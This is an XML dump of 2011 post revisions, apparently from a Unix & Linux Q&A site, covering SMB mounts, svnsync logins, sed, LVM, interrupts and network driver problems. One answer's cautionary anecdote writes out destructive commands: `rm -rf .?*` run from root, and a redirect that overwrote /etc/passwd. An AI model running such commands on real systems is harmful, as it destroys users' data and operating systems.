  <row Id="16492" PostHistoryTypeId="1" PostId="7128" RevisionGUID="42b53305-a0ac-47e6-a949-0615a8b23d31" CreationDate="2011-02-09T02:59:27.500" UserId="4617" Text="unable to mount smb share in fedora 14" />
  <row Id="16493" PostHistoryTypeId="3" PostId="7128" RevisionGUID="42b53305-a0ac-47e6-a949-0615a8b23d31" CreationDate="2011-02-09T02:59:27.500" UserId="4617" Text="éfedoraàésambaà" />
  <row Id="16494" PostHistoryTypeId="2" PostId="7129" RevisionGUID="33ea902c-36c9-48d0-8b80-20adbbd4521b" CreationDate="2011-02-09T03:12:09.233" UserId="250" Text="I was in doubt when you said &quot;svnsync sync accepts no options to specify a login&quot; so I checked the [documentation][1] and guess what, it does:&#xD;&#xA;&#xD;&#xA;    --source-password&#xD;&#xA;    --source-username&#xD;&#xA;    --sync-password&#xD;&#xA;    --sync-username&#xD;&#xA;&#xD;&#xA;Those options should be enough for you to go back to a simple cron script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://svnbook.red-bean.com/en/1.5/svn.ref.svnsync.html" />
  <row Id="16495" PostHistoryTypeId="2" PostId="7130" RevisionGUID="6f12ea05-2da4-4b89-a344-6ceeb3dbaea3" CreationDate="2011-02-09T03:13:42.740" UserId="3519" Text="Try:&#xD;&#xA;&#xD;&#xA;    sed -e '/a1/,+1d' t&#xD;&#xA;&#xD;&#xA;This means from /a1/ to the next line, delete" />
  <row Id="16496" PostHistoryTypeId="2" PostId="7131" RevisionGUID="92297fef-7f15-4ac7-9f9f-f8377542ee7f" CreationDate="2011-02-09T03:17:31.720" UserId="3519" Text="Except this means putting passwords in clear in some script.   &#xD;&#xA;Not a very good idea.&#xD;&#xA;&#xD;&#xA;Does svnsync not have options for ssh keys?" />
  <row Id="16497" PostHistoryTypeId="2" PostId="7132" RevisionGUID="2a934525-fcc1-4139-bb74-b1010b724e49" CreationDate="2011-02-09T03:20:57.940" UserId="3519" Text="Nonpreemptible means that they themselves cannot be interrupted by another interrupt." />
  <row Id="16498" PostHistoryTypeId="2" PostId="7133" RevisionGUID="3f81fbac-bb7e-4351-91f0-2678fdf7bf97" CreationDate="2011-02-09T03:23:24.937" UserId="4194" Text="I was on the phone with a colleague who was out at a customer site.  She was working on their systems and I was telling her stroke for stroke what to type, she misheard me when I told her `rm -rf .??*` and typed `rm -rf .?*`.  But she wasn't in the directory she had told me, she was in the root directory. Wiped not only the dot files, but the entire OS.&#xD;&#xA;&#xD;&#xA;Back when I was &quot;learning as a sysadmin&quot;, I was writing my own adduser script (didn't have it on early SysV).  A shell error in the script `(cat /etc/passwd; echo ...) &gt; /etc/passwd` which of course wiped the passwd file and then, by accident, I hit Ctrl-D to exit the su shell.  Had to go in to the office at 1am Saturday morning to get the boot diskettes." />
  <row Id="16499" PostHistoryTypeId="5" PostId="7128" RevisionGUID="14176761-dc4c-4261-9097-c13673c0a695" CreationDate="2011-02-09T03:23:56.340" UserId="4617" Comment="deleted 119 characters in body; edited tags; edited title" Text="I'm unable to mount smb share on my university network. Trying through the nautilus connect to server dialog just brings the password dialog up repeatedly. I'm able to mount the share using mount.cifs as root, but it'd be great to mount it through nautilus as well.&#xD;&#xA;&#xD;&#xA;More specifically, no matter how many times I try, I get the dialog telling me:&#xD;&#xA;&#xD;&#xA;&gt; Password required for share courses on courses.its.carleton.edu" />
  <row Id="16500" PostHistoryTypeId="4" PostId="7128" RevisionGUID="14176761-dc4c-4261-9097-c13673c0a695" CreationDate="2011-02-09T03:23:56.340" UserId="4617" Comment="deleted 119 characters in body; edited tags; edited title" Text="unable to mount smb share in fedora 14 through nautilus connect to server" />
  <row Id="16501" PostHistoryTypeId="6" PostId="7128" RevisionGUID="14176761-dc4c-4261-9097-c13673c0a695" CreationDate="2011-02-09T03:23:56.340" UserId="4617" Comment="deleted 119 characters in body; edited tags; edited title" Text="éfedoraàésambaàénautilusà" />
  <row Id="16502" PostHistoryTypeId="5" PostId="7132" RevisionGUID="3ff0349a-f409-4e25-8b86-767ff290fc53" CreationDate="2011-02-09T03:26:20.800" UserId="3519" Comment="added 159 characters in body; added 39 characters in body" Text="Nonpreemptible means that they themselves cannot be interrupted by another interrupt.&#xD;&#xA;&#xD;&#xA;My understanding of this is that the work must finish before anything else starts.&#xD;&#xA;&#xD;&#xA;Presumably that means that reentrance is a non issue since you cannot interrupt handlers in the first place." />
  <row Id="16503" PostHistoryTypeId="2" PostId="7134" RevisionGUID="b818f395-1c25-4f81-bf0d-43ef7ac4e100" CreationDate="2011-02-09T03:30:45.490" UserId="3101" Text="Solved! It appears that the menus in question relied upon 'visual effects' being enabled in the 'Appearances' section of the user preferences. Turning visual effects to either normal or extra thus fixes this problem." />
  <row Id="16504" PostHistoryTypeId="5" PostId="7129" RevisionGUID="6d98e57b-1fbf-4c83-9ec2-3f30990d837c" CreationDate="2011-02-09T03:41:06.150" UserId="250" Comment="added 651 characters in body" Text="I was in doubt when you said &quot;svnsync sync accepts no options to specify a login&quot; so I checked the [documentation][1] and guess what, it **does**:&#xD;&#xA;&#xD;&#xA;    --source-password&#xD;&#xA;    --source-username&#xD;&#xA;    --sync-password&#xD;&#xA;    --sync-username&#xD;&#xA;&#xD;&#xA;Those options should be enough for you to go back to a simple cron script.&#xD;&#xA;&#xD;&#xA;Back into the case where you **really** can't specify such options, it is still easy to write a wrapper script that sends data to the program's stdin. For example the following *may* work (where `program` is the program you wan to run, and `text` is a file where you store text to be sent to the program):&#xD;&#xA;&#xD;&#xA;    program &lt; text&#xD;&#xA;&#xD;&#xA;However, for authentication, programs are often written to ready from `tty` and not from `stdin` (for security reasons). I'm not familiar with it, but you can still create a fake terminal in that case. This is where [`expect`][2] comes into use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://svnbook.red-bean.com/en/1.5/svn.ref.svnsync.html&#xD;&#xA;  [2]: http://www.faqs.org/faqs/unix-faq/faq/part3/section-9.html" />
  <row Id="16505" PostHistoryTypeId="5" PostId="7130" RevisionGUID="abde6de1-c8e4-401c-8210-13d5aa77e650" CreationDate="2011-02-09T03:56:25.073" UserId="3519" Comment="added 9 characters in body" Text="Try:&#xD;&#xA;&#xD;&#xA;    sed -e '/a1/,+1d' &quot;filename&quot;&#xD;&#xA;&#xD;&#xA;This means from /a1/ to the next line, delete" />
  <row Id="16506" PostHistoryTypeId="2" PostId="7135" RevisionGUID="e57b2694-61eb-4b84-a57b-91f6c2e1c636" CreationDate="2011-02-09T04:21:42.833" UserId="3629" Text="The following will work on non-GNU `sed` (the `,+1` address syntax is a GNU extension):&#xD;&#xA;&#xD;&#xA;    sed -e '/^a1$/,/^/d' my_file &gt;my_filtered_file&#xD;&#xA;&#xD;&#xA;&quot;Starting at a line that reads exactly 'a1', and ending at the next line for which the beginning of the line exists (i.e. the next line), delete.&quot;&#xD;&#xA;&#xD;&#xA;It's much less extensible than @asoundmove's answer, though, as deleting a different number of lines would take an entirely different script." />
  <row Id="16507" PostHistoryTypeId="2" PostId="7136" RevisionGUID="d9c11c4f-b73e-4aaf-aa29-d93eeb861043" CreationDate="2011-02-09T04:26:33.210" UserId="1397" Text="LVM, like everything else, is a mixed blessing.&#xD;&#xA;&#xD;&#xA;With respect to performance, LVM will hinder you a little bit because it is another layer of abstraction that has to be worked out before bits hit (or can be read from) the disk.  In most situations, this performance hit will be practically unmeasurable.&#xD;&#xA;&#xD;&#xA;The advantages of LVM include the fact that you can add more storage to existing filesystems without having to move data around.  Most people like it for this advantage.&#xD;&#xA;&#xD;&#xA;One disadvantage of LVM used in this manner is that if your additional storage spans disks (ie involves more than one disk) you increase the likelyhood that a disk failure will cost you data.  If your filesystem spans two disks, and either of them fails, you are probably lost.  For most people, this is an acceptable risk due to space-vs-cost reasons (ie if this is really important there will be a budget to do it correctly) -- and because, as they say, backups *are* good, right?&#xD;&#xA;&#xD;&#xA;For me, the single reason to not use LVM is that disaster recovery is not (or at least, was not) well defined.  A disk with LVM volumes that had a scrambled OS on it could not trivially be attached to another computer and the data recovered from it; many of the instructions for recovering LVM volumes seemed to include steps like *go back in time and run vgcfgbackup, then copy the resulting /etc/lvmconf file to the system hosting your hosed volume*.  Hopefully things have changed in the three or four years since I last had to look at this, but personally I never use LVM for this reason.&#xD;&#xA;&#xD;&#xA;That said.&#xD;&#xA;&#xD;&#xA;In your case, I would presume that the VMs are going to be relatively small as compared to the host system.  This means to me you are more likely to want to expand storage in a VM later; this is best done by adding another virtual disk to the VM and then growing the affected VM filesystems.  You don't have the spanning-multiple-disks vulnerability because the virtual disks will quite likely be on the same physical device on the host system.&#xD;&#xA;&#xD;&#xA;If the VMs are going to have any importance to you at all, you will be RAID'ing the host system somehow, which will reduce flexibility for growing storage later.  So the flexibility of LVM is probably not going to be required.&#xD;&#xA;&#xD;&#xA;So I would presume you would not use LVM on the host system, but would install VMs to use LVM." />
  <row Id="16508" PostHistoryTypeId="2" PostId="7137" RevisionGUID="c2a80fea-e037-43b3-a6e1-c5a068654fed" CreationDate="2011-02-09T04:37:26.930" UserId="1397" Text="The catch-all way to do this is to edit the `/etc/aliases` file:&#xD;&#xA;&#xD;&#xA;    root:   me@someplace.else.com,someone.else@different.place.com&#xD;&#xA;&#xD;&#xA;Run `newaliases` and you should be good to go.&#xD;&#xA;&#xD;&#xA;Note you probably have to doctor your MTA (sendmail, or whatever) so that the messages emitted don't get deleted as spam, but that's a larger issue." />
  <row Id="16509" PostHistoryTypeId="2" PostId="7138" RevisionGUID="9a1fe4a2-4e90-4099-8992-b73e1361d386" CreationDate="2011-02-09T04:43:12.947" UserId="4340" Text="Hello again,&#xD;&#xA;&#xD;&#xA;as far as I know, Linux has 'fast interrupts', those that were requested with SA_INTERRUPT flag; fast interrupts are executed with all other interrupts disabled on the current CPU. But how does it differ from the normal interrupt handler behavior (where)?" />
  <row Id="16510" PostHistoryTypeId="1" PostId="7138" RevisionGUID="9a1fe4a2-4e90-4099-8992-b73e1361d386" CreationDate="2011-02-09T04:43:12.947" UserId="4340" Text="'fast interrupts' in Linux" />
  <row Id="16511" PostHistoryTypeId="3" PostId="7138" RevisionGUID="9a1fe4a2-4e90-4099-8992-b73e1361d386" CreationDate="2011-02-09T04:43:12.947" UserId="4340" Text="élinuxàékernelà" />
  <row Id="16512" PostHistoryTypeId="2" PostId="7139" RevisionGUID="5c20178c-d33f-40e1-a231-32d25017b1da" CreationDate="2011-02-09T04:55:53.357" UserId="1397" Text="In the world I work in, the CAD tools used all require RedHat Enterprise be used -- some with specific kernel version and build numbers -- or the vendors won't support their products.  &#xD;&#xA;&#xD;&#xA;The reason why they do this is obvious.  There are just too many distributions and potential kernels and library combinations for them to be able to reproduce every possible environment to either validate their product or reproduce errors that customers are seeing.  Requiring RedHat means both that they can use their reference platform to reproduce customer errors; and it means that the customer has a support contract with RedHat to increase the likelyhood that any real problem traced to the RedHat reference environment will actually get fixed.&#xD;&#xA;&#xD;&#xA;When you are spending multiple-000 $ per seat per year on some CAD tool, the RedHat support costs are rounding noise.&#xD;&#xA;&#xD;&#xA;That said, what most of my customers do is have only one or two genuine RedHat systems, and run most of their compute on CentOS, which is a free-rebuild of RedHat.  If a problem if found, it is reproduced on the RedHat systems, and the vendor will happily support the issue from there." />
  <row Id="16513" PostHistoryTypeId="2" PostId="7140" RevisionGUID="efe80f58-235d-4bb6-ad4c-52544e29d8c7" CreationDate="2011-02-09T04:58:37.440" UserId="1397" Text="Depends on the chipsets involved, you may need a chipset-specific driver to get at your SATA drives.&#xD;&#xA;&#xD;&#xA;Perhaps you might want to look into kickstart, which lets you define how you want the system to end up looking, then does a fresh install of CentOS to that specification -- including any required kernel modules." />
  <row Id="16514" PostHistoryTypeId="2" PostId="7141" RevisionGUID="f5161268-fe7b-4520-a788-07a6af075f7b" CreationDate="2011-02-09T05:00:11.190" UserId="2511" Text="LVM is designed in a way that keeps it from really getting in the way very much. From the userspace point of view, it looks like another layer of &quot;virtual stuff&quot; on top of the disk, and it seems natural to imagine that all of the I/O has to now pass through this before it gets to or from the real hardware.&#xD;&#xA;&#xD;&#xA;But it's not like that. The kernel _already_ needs to have a mapping (or several layers of mapping actually) which connects high level operations like &quot;write this to a file&quot; to the device drivers which in turn connect to actual blocks on disk.&#xD;&#xA;&#xD;&#xA;When LVM is in use, that lookup is changed, but that's all. (Since it has to happen anyway, doing it a bit differently is a negligible performance hit.) When it comes to actually writing the file, the bits take as direct a path to the physical media as they would otherwise.&#xD;&#xA;&#xD;&#xA;There are cases where LVM can cause performance problems. You want to make sure the LVM blocks are aligned properly with the underlying system, which should happen automatically with modern distributions. And make sure you're not using old kernels subject to bugs like [this one][1]. Oh, and using LVM snapshots degrades performance. But mostly, the impact should be very small.&#xD;&#xA;&#xD;&#xA;As for the last: how can you test? The standard disk benchmarking tool is [bonnie++][2]. Make a partition with LVM, test it, wipe that out and (in the same place, to keep other factors identical) create a plain filesystem and benchmark again. They should be close to identical.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=232843&#xD;&#xA;  [2]: http://www.coker.com.au/bonnie++/" />
  <row Id="16515" PostHistoryTypeId="25" PostId="7126" RevisionGUID="924adfb4-d42d-4937-96c2-e46b34ad4f58" CreationDate="2011-02-09T05:16:32.853" Comment="http://twitter.com/#!/StackUnix/status/35205385627504640" />
  <row Id="16516" PostHistoryTypeId="4" PostId="7126" RevisionGUID="c4bd3963-2d8d-4829-b3d7-00609bd19200" CreationDate="2011-02-09T05:57:14.173" UserId="4616" Comment="edited title" Text="How to remove multiple lines per occurrence in a file?" />
  <row Id="16517" PostHistoryTypeId="2" PostId="7142" RevisionGUID="85626d6a-5871-484a-8869-bd608208a498" CreationDate="2011-02-09T05:58:57.547" UserId="2144" Text="I'm currently using postfix and SASL on my personal server for authenticated SMTP.&#xD;&#xA;&#xD;&#xA;The server is purely for my personal use and my personal domains, so I'd much rather have something simpler based on ssh public keys. Does any such solution exist?" />
  <row Id="16518" PostHistoryTypeId="1" PostId="7142" RevisionGUID="85626d6a-5871-484a-8869-bd608208a498" CreationDate="2011-02-09T05:58:57.547" UserId="2144" Text="ssh public keys instead of SASL for authenticated SMTP sending?" />
  <row Id="16519" PostHistoryTypeId="3" PostId="7142" RevisionGUID="85626d6a-5871-484a-8869-bd608208a498" CreationDate="2011-02-09T05:58:57.547" UserId="2144" Text="ésshàésmtpà" />
  <row Id="16520" PostHistoryTypeId="2" PostId="7143" RevisionGUID="88b3626d-026c-4a45-8c89-c0888b85b9a2" CreationDate="2011-02-09T06:19:10.380" UserId="3169" Text="Use [xsetwacom][1].&#xD;&#xA;&#xD;&#xA;Basically, you'll want to list your current configuration, then re-configure the buttons to be the opposite way around, e.g. what button 1 did, button 4 should be (or whatever).&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxwacom.sourceforge.net/index.php/howto/xsetwacom" />
  <row Id="16521" PostHistoryTypeId="5" PostId="7143" RevisionGUID="1175e5d0-fbd6-4e00-887f-320eaed3485b" CreationDate="2011-02-09T06:27:19.150" UserId="3169" Comment="added 717 characters in body" Text="Use [xsetwacom][1].&#xD;&#xA;&#xD;&#xA;Basically, you'll want to list your current configuration, then re-configure the buttons to be the opposite way around, e.g. what button 1 did, button 4 should be (or whatever).&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxwacom.sourceforge.net/index.php/howto/xsetwacom&#xD;&#xA;&#xD;&#xA;You could also try using `xinput`.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    $ xinput list&#xD;&#xA;    ⎡ Virtual core pointer                    	id=2	[master pointer  (3)]&#xD;&#xA;    ⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]&#xD;&#xA;    ⎜   ↳ Wacom Bamboo 2FG Finger pad             	id=11	[slave  pointer  (2)]&#xD;&#xA;    ⎜   ↳ Wacom Bamboo 2FG Finger touch           	id=12	[slave  pointer  (2)]&#xD;&#xA;&#xD;&#xA;    $ xinput get-button-map &quot;Wacom Bamboo 2FG Finger pad&quot;&#xD;&#xA;    1 2 3 4 5 6 7&#xD;&#xA;&#xD;&#xA;    $ xinput set-button-map &quot;Wacom Bamboo 2FG Finger pad&quot; 3 2 1 4 5 6 7&#xD;&#xA;&#xD;&#xA;Do you also need to remap the x and y axes?&#xD;&#xA;&#xD;&#xA;Final thought: what happens if you go to System-&gt;Preferences-&gt;Mouse?  Maybe changing it to left handed has some effect?" />
  <row Id="16522" PostHistoryTypeId="2" PostId="7144" RevisionGUID="61a00efc-d441-49d8-8d0e-2e517d88e471" CreationDate="2011-02-09T06:44:19.627" UserId="838" Text="In general: If you add a new layer of complexity (&quot;aka more to do&quot;) nothing will be faster. Note: You only add work and not 'change' they way the work is done.&#xD;&#xA;&#xD;&#xA;How can you measure something? Well, you create one partition with LVM and one without, then use a normal benchmark and just run it. Like the folks at &#xD;&#xA;&#xD;&#xA;   http://www.umiacs.umd.edu/~toaster/lvm-testing/&#xD;&#xA;  &#xD;&#xA;As it seems, only slightly impact to the speed. That seems to by in sync with the findings of someone else who ran a benchmark:&#xD;&#xA;&#xD;&#xA;http://lists-archives.org/linux-kernel/27323152-ext4-is-faster-with-lvm-than-without-and-other-filesystem-benchmarks.html&#xD;&#xA;&#xD;&#xA;But just benchmark it on your own and see if your hardware and the OS you want to use behave the same and if you can ignore the (maybe slightly) impact of an additional layer of complexity which gives you elastic storage.&#xD;&#xA;&#xD;&#xA;Should you add LVM to the guest OS: That depends on if you need the guest OS to have elastic storage as well, doesn't it? You needs dictate what you have to deploy.&#xD;&#xA;" />
  <row Id="16523" PostHistoryTypeId="2" PostId="7145" RevisionGUID="64543d52-3beb-4049-91aa-854a39b589b1" CreationDate="2011-02-09T06:56:05.003" UserId="4200" Text="Nothing prevents networked application to use ssh keys for authentication/encryption, except these applications have to be written to support this (i.e. by using libssh). You don't say what mail user agent you use, nor what SMTP server it connects to, but it is not very likely they support ssh natively.&#xD;&#xA;&#xD;&#xA;But of course, you can use a normal ssh connection to your server to make a tunnel for SMTP sessions.This of course authenticates the users to your machine, not to your SMTP server, which may not be what you want." />
  <row Id="16524" PostHistoryTypeId="25" PostId="7122" RevisionGUID="dfb16422-e8e2-4de3-9d79-9297330b67ab" CreationDate="2011-02-09T08:16:32.990" Comment="http://twitter.com/#!/StackUnix/status/35250684999761920" />
  <row Id="16525" PostHistoryTypeId="2" PostId="7146" RevisionGUID="161b0a43-a2f6-487e-8bad-1ac776c06f64" CreationDate="2011-02-09T09:53:01.857" UserId="2871" Text="I would like to know more about Top half and Bottom Half processing in the Context on Interrupts. Could someone explain me the exact things happening in both scenarios. " />
  <row Id="16526" PostHistoryTypeId="1" PostId="7146" RevisionGUID="161b0a43-a2f6-487e-8bad-1ac776c06f64" CreationDate="2011-02-09T09:53:01.857" UserId="2871" Text="What happens in the Top half and Bottom Half processing of Interrupts?" />
  <row Id="16527" PostHistoryTypeId="3" PostId="7146" RevisionGUID="161b0a43-a2f6-487e-8bad-1ac776c06f64" CreationDate="2011-02-09T09:53:01.857" UserId="2871" Text="élinuxàéinterruptà" />
  <row Id="16528" PostHistoryTypeId="2" PostId="7147" RevisionGUID="da07a21e-9c69-476e-9f67-dffa486eb198" CreationDate="2011-02-09T10:09:06.133" UserId="2278" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA;    modprobe -r r8169; &#xD;&#xA;    modprobe r8169.  &#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;Ethtool output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File '/etc/network/interfaces'&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="16529" PostHistoryTypeId="1" PostId="7147" RevisionGUID="da07a21e-9c69-476e-9f67-dffa486eb198" CreationDate="2011-02-09T10:09:06.133" UserId="2278" Text="eth0 r8169 down on wake up from standby" />
  <row Id="16530" PostHistoryTypeId="3" PostId="7147" RevisionGUID="da07a21e-9c69-476e-9f67-dffa486eb198" CreationDate="2011-02-09T10:09:06.133" UserId="2278" Text="édebianàénetworkingàéethernetà" />
  <row Id="16531" PostHistoryTypeId="2" PostId="7148" RevisionGUID="b91b68a7-1ea9-497e-b24d-a4fc75b9e37c" CreationDate="2011-02-09T10:16:25.787" UserId="3169" Text="&quot;[Linux Kernel Development][4]&quot; by Robert Love explains it, as do these free web resources:&#xD;&#xA;&#xD;&#xA;  * [Linux Kernel Module Development Guide][1]&#xD;&#xA;  * [linuxdriver.co.il][2]&#xD;&#xA;  * [Linux Device Drivers][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/lkmpg/2.4/html/x1210.html&#xD;&#xA;  [2]: http://www.linuxdriver.co.il/ldd3/chp-10-sect-4.shtml&#xD;&#xA;  [3]: http://www.xml.com/ldd/chapter/book/ch09.html&#xD;&#xA;  [4]: http://www.amazon.com/gp/product/0672329468?ie=UTF8&amp;tag=roblov-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0672329468" />
  <row Id="16532" PostHistoryTypeId="5" PostId="7147" RevisionGUID="52a2f158-6547-4093-829c-fa227512b774" CreationDate="2011-02-09T10:21:11.800" UserId="2278" Comment="deleted 2 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA;    modprobe -r r8169; &#xD;&#xA;    modprobe r8169 &#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;Ethtool output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File '/etc/network/interfaces'&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="16533" PostHistoryTypeId="5" PostId="7148" RevisionGUID="b3225735-5306-4ca0-b9f5-b3d6d3c2c814" CreationDate="2011-02-09T10:26:11.993" UserId="3169" Comment="added 199 characters in body" Text="Chapter 6 of &quot;[Linux Kernel Development][4]&quot; by Robert Love explains it, as do these free web resources:&#xD;&#xA;&#xD;&#xA;  * [Linux Kernel Module Development Guide][1]&#xD;&#xA;  * [linuxdriver.co.il][2]&#xD;&#xA;  * [Linux Device Drivers][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/lkmpg/2.4/html/x1210.html&#xD;&#xA;  [2]: http://www.linuxdriver.co.il/ldd3/chp-10-sect-4.shtml&#xD;&#xA;  [3]: http://www.xml.com/ldd/chapter/book/ch09.html&#xD;&#xA;  [4]: http://www.amazon.com/gp/product/0672329468?ie=UTF8&amp;tag=roblov-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0672329468&#xD;&#xA;&#xD;&#xA;Basically, the top half's job is to run, store any state needed, arrange for the bottom half to be called, then return as quickly as possible.  The bottom half does most of the work." />
  <row Id="16534" PostHistoryTypeId="2" PostId="7149" RevisionGUID="0e2eb9ab-e581-480a-bb67-515b41567571" CreationDate="2011-02-09T10:33:08.593" UserId="4458" Text="I am insterested to know when my Ubuntu had been installed in my computer. Is there any way to get this information?&#xD;&#xA;&#xD;&#xA;Different proposal had been posted [here][1], but none of them is worth.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/1352/date-ubuntu-was-installed" />
  <row Id="16535" PostHistoryTypeId="1" PostId="7149" RevisionGUID="0e2eb9ab-e581-480a-bb67-515b41567571" CreationDate="2011-02-09T10:33:08.593" UserId="4458" Text="Installation date of Ubuntu" />
  <row Id="16536" PostHistoryTypeId="3" PostId="7149" RevisionGUID="0e2eb9ab-e581-480a-bb67-515b41567571" CreationDate="2011-02-09T10:33:08.593" UserId="4458" Text="éubuntuàéinstallàédateà" />
  <row Id="16537" PostHistoryTypeId="6" PostId="7126" RevisionGUID="d0689a9f-748b-4865-9fd9-315d58b56df0" CreationDate="2011-02-09T10:53:13.307" UserId="4616" Comment="Added text-processing tag" Text="ébashàégrepàétextöprocessingàésedà" />
  <row Id="16538" PostHistoryTypeId="25" PostId="7149" RevisionGUID="b8799761-6ee5-46be-bbd2-cf3eda15f6c3" CreationDate="2011-02-09T11:16:33.257" Comment="http://twitter.com/#!/StackUnix/status/35295984221306880" />
  <row Id="16539" PostHistoryTypeId="5" PostId="7147" RevisionGUID="c195a322-0758-4b11-b247-3e3ca633d413" CreationDate="2011-02-09T11:32:48.453" UserId="2278" Comment="added 7 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA;    modprobe -r r8169; &#xD;&#xA;    modprobe r8169 &#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;`ethtool eth0` output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File `/etc/network/interfaces`&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
